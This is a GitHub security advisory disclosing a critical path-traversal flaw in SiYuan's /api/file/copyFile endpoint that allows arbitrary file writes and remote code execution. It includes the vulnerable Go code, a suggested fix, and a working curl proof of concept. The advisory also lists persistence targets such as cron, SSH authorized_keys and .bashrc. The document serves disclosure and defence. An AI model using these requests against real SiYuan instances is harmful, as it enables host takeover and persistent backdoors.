Skip to content

SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE

Critical severity GitHub Reviewed Published Jan 28, 2026 in siyuan-note/siyuan • Updated Jan 29, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 0.0.0-20260126094835-d5d10dd41b0c

Patched versions

None

Description

Summary

The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.

  • Affected Version: 3.5.3 (and likely all prior versions)

Details

  • Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
  • Location: kernel/api/file.go - copyFile function
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
    // ...
    src := arg["src"].(string)
    src, err := model.GetAssetAbsPath(src)  // src is validated
    // ...

    dest := arg["dest"].(string)  // dest is NOT validated!
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.

PoC

Step 1: Upload malicious content to workspace

curl -X POST "http://target:6806/api/file/putFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -F "path=/data/assets/malicious.sh" \
  -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'

Step 2: Copy to arbitrary location (e.g., /tmp)

curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Response: {"code":0,"msg":"","data":null}

Step 3: Verify file was written outside workspace

cat /tmp/malicious.sh
# Output: #!/bin/sh
#         id > /tmp/pwned.txt
#         hostname >> /tmp/pwned.txt

Attack Scenarios

Target Path Impact
/etc/cron.d/backdoor Scheduled command execution (RCE)
~/.ssh/authorized_keys Persistent SSH access
~/.bashrc Command execution on user login
/etc/ld.so.preload Shared library injection

RCE Demonstration

RCE was successfully demonstrated by writing a script and executing it:

# Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

# Execute (simulating cron or login trigger)
sh /tmp/malicious.sh

# Result
cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)...

Impact

An authenticated attacker (with API Token) can:

  1. Achieve Remote Code Execution with the privileges of the SiYuan process
  2. Establish persistent backdoor access via SSH keys
  3. Compromise the entire host system
  4. Access sensitive data on the same network (lateral movement)

Suggested Fix

Add path validation to ensure dest is within the workspace directory:

func copyFile(c *gin.Context) {
    // ...
    dest := arg["dest"].(string)

    // Add validation
    if !util.IsSubPath(util.WorkspaceDir, dest) {
        ret.Code = -1
        ret.Msg = "dest path must be within workspace"
        return
    }

    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

Solution

d7f790755edf8c78d2b4176171e5a0cdcd720feb

References

@88250 88250 published to siyuan-note/siyuan Jan 28, 2026
Published to the GitHub Advisory Database Jan 29, 2026
Reviewed Jan 29, 2026
Last updated Jan 29, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-c4jr-5q7w-f6r9

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.